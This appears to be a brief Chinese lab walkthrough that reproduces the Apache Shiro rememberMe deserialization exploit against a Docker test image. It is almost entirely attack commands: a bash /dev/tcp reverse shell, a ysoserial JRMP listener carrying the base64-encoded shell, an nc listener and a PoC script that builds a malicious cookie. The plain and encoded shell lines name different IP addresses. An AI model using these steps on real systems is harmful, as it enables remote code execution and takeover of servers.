搭建环境请参考:https://www.jianshu.com/p/0007eafd1f92
复现请参考:https://mp.weixin.qq.com/s/KkWL9SftCZSdkglW39Qw0Q
靶机:192.168.19.147
攻击机:192.168.19.146
搭建环境
- 获取docker镜像
docker pull medicean/vulapps:s_shiro_1
- 重启docker
systemctl restart docker
- 启动docker镜像:
docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1
访问:
http://192.168.19.147:8081/ 环境搭建成功
制作反弹shell 代码
- 使用http://www.jackson-t.ca/runtime-exec-payloads.html 进行编码
bash -I >& /dev/tcp/192.168.19.147/1234 0>&1
使用ysoserial中JRMP监听模块,监听6666端口
- 攻击机中执行命令:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5LjE0Ni8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}'
监听反弹端口 1234
- 攻击机中执行命令:
nc -lvnp 1234
生成poc
- 攻击机中执行
python shiro.py 192.168.19.146:6666
得到rememberMe
利用POC进行攻击:
登录系统:
抓取登录后的数据包:
发送修改后的数据包,攻击成功
成功获取shell